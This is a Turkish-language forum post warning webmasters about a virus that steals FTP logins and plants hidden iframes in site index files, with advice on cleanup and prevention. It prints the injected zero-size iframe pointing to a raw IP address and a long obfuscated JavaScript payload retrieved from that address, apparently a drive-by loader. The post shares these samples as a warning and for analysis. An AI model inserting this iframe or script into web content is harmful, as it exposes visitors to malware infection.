ilgiliforum facebook   ilgiliforum instagram   ilgiliforum youtube   ilgiliforum tumblr   ilgiliforum pinterest   ilgiliforum rss  

Antivirüs Programınız Olmadan Internet'e GİRMEYİN!!!

 
Bu konu ile benzer olabilecek diğer forum sayfaları
 
 
 
 
Arkadaşlar bu konuya çok dikkat etmelisiniz.

Alıntı
Son zamanlarda büyük hızla yolunda yüreyen yeni virüs bir çok webmasterin sorunu oldu ve olmayada devam ediyor..

Bu virüs bir kere bilgisayarınıza bulaştıkdan sonra o bilgisayarla hangi sitenin ftp'ini açarsanız açın girdiğiniz ftp bilgilerini kaydederek, sitelere girip index.php , index.html , index.htm , default.asp 'in içlerine iframe kodu atiyor atılan iframe kodu şu şekildedir..

<iframe src='http://81.95.145.240/logo/index.pHp' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>


Ve Sadece www/public htm/ dizinine değil diğer bütün klasörülerin içinde bulunan index.php , index.html , index.htm , default.asp 'in içinede atıyor..
Şimdiye kadar bir çok başlık gördüm bu şekilde bu virüslerden yakınan o yüzden bu yazıyı yazma gereği duydum...

Virüs size nasıl bulaşır ?

başka kişinin sitesine bulaşmışsa ve sizde o siteye girdiyseniz üstelik hiç bir antivirüs yüklü değilse bilgisayarınıza; Bilinki o virüs artık sizinde bilgisayarınızda ve girdiğiniz bütün ftp'lere girmeye başlayacaktır..

Peki Virüs Sizin Bilgisayarınıza Bulaştı ve bunun farkına vardınız ne yapmamız gerekir ?

Sadece ftp bilgilerinizi alabildiği için hemen dosyalarınızı pc'ye atıp içindeki iframe kodlarını silin ve tekrar ftp'den upload edin. Sonra hiç vakit kaybetmeden cpanel/plesk panelinize girin ve şifrenizi değiştirin. Bu işlemleri yaptıktan sonra sakın ftp'den giriş yapmayın. Çünkü ftp'den giriş yaptığınızda değiştirdiğiniz şifreyide alarak tekrar dosyalarıza iframe atmaya başlayacaktır.. Bu işlemleride yaptıktan sonra bilgisayarıza format atin..

Virüs Bana bulaşmadı Nasıl korunabilirim ?

Filezilla veya cuteftp kullanarak serverinize bağlanın, index.php ,index.htm, index.html, default.asp Bütün klasörlerdeki bu saydığım uzantılı sayfalarınızın chmod değerlerini 444 yapın. Bilgisayarınıza Nod32, Panda veya Kaspersky kurun ( ben Kaspersky kullanıyorum ve çoğu sitede virüs yakaladı ama bana bulaşmadı) Bilgisayarınızı güvene alın. Her ftpye girdikten sonra direk cpanelden yada plesk paneden girerek ftp şifrenizi değiştirin. Birde bilgisayarınıza Ad-Aware SE Personal 'i kurun iki günde bir tarama yaptırın.

Şuan itibariyle sitemize de bulaşan bu virüsün temizlenmesi işlemi sona ermiştir. Üyelerden ricamız internete girmeden önce muhakkak bir antivirüs programı kullanmaları.

IFRAME içindeki adresin içinde ne olduğuna baktım ve aşağıda verdiğim kodlarla karşılaştım. Aşağıdaki kod kimbilir ne işe yarıyor ve ne gibi bir bilgiyi kime ulaştırıyor? Bir şekilde biri bu siteye girer ve bu koddan birşey anlarsa ne işe yaradığına dair düşüncelerini bizimle paylaşmasını diliyoruz.

Kod: [Seç]
[b]<script language=JavaScript>function decipher(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,34,50,25,45,12,20,30,17,11,0,0,0,0,0,0,46,61,62,39,21,58,47,53,48,16,14,15,4,2,42,56,27,52,57,22,13,18,28,33,10,60,6,0,0,0,0,19,0,38,7,40,31,54,9,35,1,37,26,44,24,3,0,8,29,23,41,49,36,32,51,59,43,55,5);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decipher("za3wsg7EP1Ex3eJOtbBacBjasv7YrmBaWm52XqlGL95H3NlYkbdEuFfNFar14mJRWFfNFaRRNbJ0zjpQVC5Hl7lH5PpGf_5yd@k29mYWP1Ex3UVGDC5H8qosqPVv5KTHl7lv8bpGdNc1pUR1VMR16ZfC973CXNVQTxo2Sqri6UR1K_YGbScsXb5Hb_kGngRWTbpQD0r1Xefi92ft9U3tV@OipNc28yYWzjk2hm5abZKsJmVAqvYQ5C5HMmkG9jV2LP4GbScQ5bVQTgfizSlvnvkHTbTa6@fNFa3GLdTsoqO2Lg5Hl7oEXb5QfmVALbpvbSOQLC5QngRWTbpQD0r1Xefi92ft9U3tV@OipNc28yk1MmVQ9SpvDxr2DbTafx5shdOacBjaXUVGDC5H8FfNF1Ex3ZJwvqovhgRWym52XbTHEy@2SbAWPeVQ8qACXNlC6@oCI@oi82R1qer1XbpvXX5H8FlGTq4aXqpQlak2LbVaXZJwvFfNF1Ex3jFRyv7AsqlELFkHI_kHngRWK_YQLP4sqvVG8dlW8vpGngRW8mVy8xOvLKTsSPYG5qpQb@fNF1ExmmA2ZbTvXFVWadTHLbTHNyc2fSO25ScycBEQLdpWqqoaz@5QfCkCcBjQqvpW7qoH__V2TXOGz13WXFcRqm5s8mkEb05HZbpg9vcu5SoeZ_VQZyVgnvcylgEx5KVWTUlWqvlW7gEx8dTyzEpWnKTsfycuqqoazNY1adTHLbTHNdYvnPVQT@V1z7OW5Xogz14sLb4sTyoH5ETecBXecBXvmqlgLSOG5ScycBjQqvpW7qoH__V2TXOGz13WXFcRqm5s8mkEb05HZbpg9ClWb7l1z7OW5Xogz14sLb4sTyoH5ETecBXecBXvmqlgLSOG5ScycBjQqvpW7qoH__V2TXOGz13WXFcOnb4Eb05HZbpgb7l1z@5gM2lWlP5s8PVvTM5g7gTNF1TNF1Ex5KVWTUlWqvlW7gEx8dTyzEpWnKTsfycuqqoazNY11mVQNdYvnPVQT@V1z7OW5Xogz14sLb4sTyoH5ETecBXecBXNF2YHzeoWz7TgzETNFZAGVqcyzMYQLCVgM7pWlSc29XJH8xBsKmks8yO25Xogz14sLb4sTyoH5ETecBXecBEGnbTQqFVgqvcCzSlWzSlWcBXecBXNFJ5Q9PVQ5xY2zXJH8xFY5FkBvmYGSvk29yogzSlW7gExcBjWzSlWzJTsqqowuKTHqPTvXF5a9_YQ595s8xYG9UVGDKKHqPTvXFkCcBjWzSlWz2YHzeowuKTHqPTvXFY15FVHny4Emycu2vY2hxkQSqoCIXogzUoaz1oi5SOGnbTQqFVWb2ftb1ExzSlWzSoHfPTHz2YHzeowuKTHqPTvXFY15FVHny4Emycu2vY2hxkQSqOEsqltM2lWL13WoUfgz7TH8mAG9qOWxb0WcBjWzSlWzMV2SmVW5KVWT2JO_mYGSvk29Fov9b5HpxBHTXcY5FVWVepW8@oCM2lWL13WoUfgz7TH8mAG9qOWcmBWcBjWzSlWzMV2SmVW5KVWT2JO_mYGSvk29Fov9b5HpxBHTXcY5FVHX94Gz23CM2lWL13WoUfgz7TH8mAG9qOWVeRWcBjWzSlWzMV2SmVW5KVWT2JO_mYGSvk29Fov9b5HpxBHTXcY5FVHX94Gz@7YzMR1DXogzUoaz1oi5SOGnbTQqFVWb7rwb1ExzSlWzSoHfPTHz2YHzeowuKTHqPTvXFY15FVHny4Emycu2vY2hxkQSqOEsqot9Uru5SoWlSo162lWqmVQIdA2z7l0GdoNFSlWzSlWnCkGnqovmqlgkmBQnd4G5xY292Y2hmVyNKVgMXKv9bk2UPpWxbdWI@OiM2lWL13WoUfgz7TH8mAG9qOWqEkib1ExlgExcBXNFJ5Q9PVQ5xY2zX@2TU5gzETNF1Ex__YGzjTRDqpWzSoaz7cATdcgbMV2fdcgb@OWJ7oRDqAWJ7l25P5s8vk29dcCcBEQLdpWS_7ONqlWz13WbU7ONdcgbZBRbEOW97cgbjdQqdcgbM5sodcCcBEQLdpWX_7GDqlWz13WadTHLbTHNyosfScGtqpGz2cCcBEQLdpWX_7ONqlWz13WadTHLbTHNyosfScGtb@Ez2cCcBEQLdpWXPFRzSlWz13WadTHLbTHNyosfSOWcPFAZdTvDb4RXFVQqxV29jFsqvVG8P@29bAGXCYW5EfNF1ExXPFR9aJs995QL95Hl7OwLKTsePYG5qpQbE3Wz1ExXPFR97KHSmVQT2cCcBXNFJTsqqc2gxV2hmYGz13WX_7GDFOELg5HeqTsZmVgqSfg71Ex__YGzNYOXCVHndTw8m52lNYOXCVHndA1G_YGSmYELg5HT7cAVgYsXCY18bAHb2cCcBEOXFVQEqKs8ykBax52DxY2nFVQSgr2gxV2hmYGkbTHoFlALbpv9jpGfvVQT7lBRdog71Ex2vY2WvYGlSOOXFVQEqKs8ykBax52DxY2nFVQSwdiOqcgz7lBRdlWJSOOXFVQEqKs8ykBax52DxY2nFVQSwKiOqcgz7lBRdcCcBXOpmYELg5Hl7OW71ExzSlWcBEHXdpWT2kvlSrC5wVapEfvJwcg51Ex7gExzSlWzSov5gfELbpv97Ts9bk2oyog71ExzSlWzScsTP@2hm5ac_VQTFOGXmA2hyov50OiI2cgDeAt6EfNFSlWzSlWZykAVg5aebAG5FkH9JYGXgkRT_YGaxVHnycsTP@2hm5gcBjWzSlWzM7ynFJsom5auyTHx_52nwcsTPKyowfNFSlWzSlW5KVWTjVvaxVHngfaDeAt62lW7dYGn_kvlwfNF1TNF1ExuyTHx_52ngrY5FVO5dpWJSoOpmYELg5HzElWb@oHpmYW71ExuyTHx_52ngfOpmYELg5H97THDC5sZmVgXadBXXV1badbrcdBRCdBb2cCcBXNFJTsqqlHLb4Cz1Ex__YGzMAGfqoaz7KHoxVQnxdwXPpQ92Y29mYGsmVy8wfNFJTsqqlyoCVWlSO2ICV271Ex8dTycBNycBjyoCVWlScRqm5s8mkETUV1z7oE5PYGXP42mbA1Ag7E4bdYGdog71ExpgV29NVGnFVgbXJOsdl1zMAGfClWm_V2Sm5g71ExlgExZ_VQZyVgnvoNFETNFZAGVgEx7gExpgV2z13WadTHLbTHNyosfSOWcPd0cCBi9eKEry7Ysq0W5EfNFeT2fFc2DmY2T7cOub0WfSoQqCV1zJ5sfPTH5EfNF1TNFj5s8PVvTM5gcBNycBjQqvTNFETNFeT2fqoazjBGn_VQnx7gLClWb1@AAg7Eq@cAndAQndp0cC7wsbdAb2cCcBjyoCY1XqTH9yOW1m7YbalWIdp2fSOHLCkGnvcC71ExlgExZ_VQZyVgnvoNFETNFZAGVgEx7gExpgV2l@5HUql0cC7w8bpGym5GImkG8yog71ExpgV29NVGnFVgbXJOsdl1zMAGfClWm_V2Sm5g71ExlgExZ_VQZyVgnvoNFETNF7TH8mAG9qOOtC@AuwfNF1TNF1TNF1TNF1TNFeT2fFcGnFVHT@5QfC5g71ExcBN2ePB1tbVHNdYvnPVQT7c2tP0WfSc2tb@E5EfNFNkAaFoRhbkEb05HZbpgbNV0edl1zeT2fvcCcBXNFj4RXb5H61RW__YGze0RlNV0eFOGnPpGXFkGnd@2hv4CX_@A9ZKyDm5a6Er2tP01cxVHngri7N5ReFcEDmY2T2cCbEfNFj4RXb5Hq1RWX_@A9X0G5bTHTe0R5ERW71ExSP@2hmkilMA2nP4sLqTHT7ou_JJu8UfuIjfuqMJuIjfu_UfuUJfu_MfuIZRW5EfNFj4RXb5H81fQ9mkGZ_VGnyOWnJROnZRtnJfCnJrRnJftn73CM7og71ExcBNGaxVHnqoaSP@2hm5iJj4RXb5HqEcGaxVHnPrgSP@2hmVtJM7ynFJsomkgbXl1q2cCbEfNFNkAaFoOpmksIbTHebTs8m52nFVQTj4RXb5H5E3WcBXNFN5RDqA1ey5HfC5OpmksIbTHTM7ynFJsom5g71ExcBEGnbTQqFVWsdKYuwfNF1TNF1Ex__YGz2VWlSli71Ex__YGzaYvz13Wb7cCcBEQLdpW8qoaz@5HUqoRqdTsVyOW7dcgf0kgb77OV7cgf0kgbJrRIMRtoJfttPf16U3ObEl2KwOWD1oCpjfRoS3iaq3tgPBiVM@i_7cgf0kgb1AWf7cyCbJC_jJtbEOWIJf1_MfRS7cgb1OWJ7oibEOW6ZBWJ7lio23CSUJ1D7cgbSrRDZROadcgb7RWJ7oCuPRWJ7OtbaOW7_BRV7@Rub7OoM@RUMJ1bEOW8XfO61OWJ7oCS7cgb7RioZ7ttdfiDJfiUUfi_1AWf7cybEOWDS3ibEOW_J7iSjf1D7cgbS3iD1liDSRWJ7libEOWoj7ibEOWD7cgbSRWJ7o1bEOWD7cgbSRWJ7liDS3iDS3iD7cgbZRtbEOWldl1bEAWJ7libEOWDSRtgqRWJ7citdcgb1liDSRWJ7libEOWoS3iDSRWJ7o1aq3iD1liDSRWJ7libEOWD7cgbSRWJ7libEOWDS3ibEOW87cgbJRWf7cybEOW_MkiqSrtDU51UJRWJ7OthgltnmYtoertVj51hP5imdcgbU5C6ZYibEOWmPYWJ7cibaOW7K3tbEOW6Zft67RRo7cgb7JCUef18MRWJ7oiWgoRbEOWDZBWJ7lCbEOWo7cgbJ@RgbBOSjfOp7cgbjRWJ7cibEOWadcgb1AWf7cybEOWUJJtbEOWC9RO_jf1gdcgbSRWJ7OtggltSjfio7cgbeRWJ7oRqJf1SjfCudcgbSRWJ7ciaqfRbEOWuP3ObEOWldl1bEAWJ7li_XRiSM7ibEOWV1OO8jBWJ7OibEOWoZribEOWZyf1bEOWp7cgbjRWJ7otbEOWp1liVJ@RbEOWW_3OCqrt_7cgbJRWJ7oebaOW7dcgbJriV7cgbJBWJ7ctqMROo7cgbURWJ7ORbEOWqZJ18eribEOW61oRVJ7ObEOWoert8e3tbEOWU7cgbJ3CqSfibEOWD7cgb1AWf7cyC_7i6eftV2f16ZBRbEOWS1lt8J5CoeriCbf18JRWJ7oi8M3tay3tCK7Cldl1bEAWJ7lODj7iUZJt_7cgb1ctaKfCbEOWo7cgbZribEOWgdcgbURWJ7o1bEOWCdcgbZfRD1OibEOWI7cgbJJtt_fig_BWJ7ORbEOW62RWJ7oebaOW7dcgbMBWJ7lCbEOWadcgbjBWJ7cRbEOWWbBObEOWo7cgbjJRq7cgbef182RtbEOWbdcgb1ORDM3io7cgbJRWJ7cRD7cgbXRWJ7cRVJRi8XRWJ7OtbEOWCgAWf@5QfC5g71ExcBEQLdpW2vY2NPKa1mVQE9Kv9x0Ynd4G5xY2T2cCcBEQLdpWcm4G8m7ynP5Q8mVHlSrCcBEQLdpWcbJRax0AIFY2nb5aDEfNF1Ex__YGzXKv9x@AlXJH8xFY5FkBvmYGSvk29yog71Ex__YGz1JQSbTOpmksIbTHhg3i71Ex__YGz17OtP@BymA29mVHlSrCcBXNFj4Q5b4sTqlg2vY2NPKgzScycBjWzSlWzSlWcBjWzSlWzSlWZ_kGnqOWqEBWd1ExzSlWzSlWzSlWzSlWzSlWzSoEIPpQuyTHZmpQnb5a6EfNFSlWzSlWzSlWzSlWzSlWzSlWbdTHLwkCcBjWzSlWzSlWZ_kGnqOWqE@ibBfNFSlWzSlWzSlWzSlWzSlWzSlWcm4G8m7ynP5Q8mVHlUrCcBjWzSlWzSlWzSlWzSlWzSlWz7YGn_kv71ExzSlWzSlWzj5sSmVWbedAbBfNFSlWzSlWzSlWzSlWzSlWzSlWcm4G8m7ynP5Q8mVHlUrCz1ExzSlWzSlWzSlWzSlWzSlWzSOsqm5sJwfNFSlWzSlWzSlHnK5sICVQd1ExzSlWzSlWzSlWzSlWzSlWzSoEIPpQuyTHZmpQnb5aDEfNFSlWzSlWzSlWzSlWzSlWzSlWbdTHLwkCcBXezSoNF1ExcBXvmqlgcm4G8m7ynP5Q8mVHl1fi5ScycBXNFSlWzXpv5C5HzelQBv5B5ScycBjWzSlWzSlWzSOQLdpWLqoaz@5QfCkCcBjWzSlWzSlWzSovmqlg8wKvOFcGIdkG8dTv99VgDaoi5SoalScu79ogzETNFSlWzSlWzSlWzUVWlSlHXP5QomY28Fcsqm5s8m5Ofm52nFVQT7c2b05HZbAW5EfNFSlWzSlWzSlWzUY1SmVQtbpQqvYsIbTHT7csf_kGSvVHbalWbjV2SvVHd7lWJSlQBv5B9jTQbPpQqvY2MyoifSlQBv5B9a5H99VQTqo1zUfg5EfNFSlWzSlWzSlWz1pWnCkGnqcycBjWzSlWzSlWzSlQqvpW7qosz13W9mkQzU@s8vYQnyFEb05HZbpg8wKvOvcCz1pWZ_VQZyVgnvcylgExzSlWzSlWzSlWlgExcBjWzSlWzSlWzSovmqlgLvlW7gExzSlWzSlWzSlWzSlWzSlW8dTyzEpWzSlWzSlWzSlWz1ExzSlWzSlWzSlWzSlWzSlWzSOQLdpWbqoazjBGn_VQnx7gLClWbjdvnCV2bEOW97cgbU7GDC5vZ_VQ5xY2b2cCcBjWzSlWzSlWzSlWzSlWzSlWz2YHzeOs5ScycBjWzSlWzSlWzSlWzSlWzSlWzSlWzSlWzSlWcbJRax0AIFY2nb5a6E3WcBjWzSlWzSlWzSlWzSlWzSlWzSlWzSlWzSlW5KVWTX@2TU5g5SOsqm5sJwfNFSlWzSlWzSlWzSlWzSlWzSlWlgExcBjWzSlWzSlWzSlWzSlWzSoeZ_VQZyVgnvcylgExzSlWzSlWzSlWlgExzSlWzSlWzSlW5wcg71ExcBjWzSoecBXNFSlWz2YHzeoEW_@REdKQ9F5HhgfaD2lWzETNFSlWzSlWUvY2hxkQ9ak2Z_VQ5xY2l7lv8bpGdNc1pUR1VMR16ZfC973CXNVQTxo2SqrtoSfiU@lGTqAW71ExzSlWz1pWz1ExzSlWcBXecBXNFar1ePBAkqdYP1ExcBjaX7@EWv0acBjaXe7YcCBacBX")</script>[/b]

Avast 4.7 bu virüsü tespit edebiliyor.
Yalnız anti-virüs programınızı sürekli güncellemeniz gerekmekte.

 
 
Allah'a Güven.

 
 

 ~ 

Bu konunun linki : 

Yukarıdaki linki arkadaşlarınıza göndermek için kullanabilirsiniz ve bu sayfada; Antivirüs Programınız Olmadan Internet'e GİRMEYİN!!! hakkında bilgiler nedir yazıları veya şiirleri gibi sözleri veya resimleri Antivirüs Programınız Olmadan Internet'e GİRMEYİN!!! siteleri gibi benzer birçok forum konularını bulabilirsiniz.

 ~ 

Son Forum Mesajları

Kaynak linkimizi belirtmek koşulu ile her türlü bilgiyi kopyalayabilirsiniz. Forum içerisinde yazılan tüm mesajların hukuki sorumlulukları mesajları yazanlara aittir. Üyeler, üyelik sözleşmesi gereği bu kuralı kabul etmiş sayılır. Ziyaretçilerimiz bu forumu kullanmadan önce Forum Kurallarını okumak zorundadırlar. Aksi durumda meydana gelecek bütün olumsuz durumlardan ziyaretçilerin bizzat kendileri sorumludur. Sitemizde telif, kişi haklarına; yasalara aykırı olduğunu düşündüğünüz bir konu görürseniz bize aşağıdaki iletişim adresinden ulaşabilirsiniz.

1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60 100, 150, 200, 250, 300, 350, 400, 450, 500, 550, 600, 650, 700, 750, 800, 850, 900, 950, 960

© 2006-2019 ilgiliFORUM.com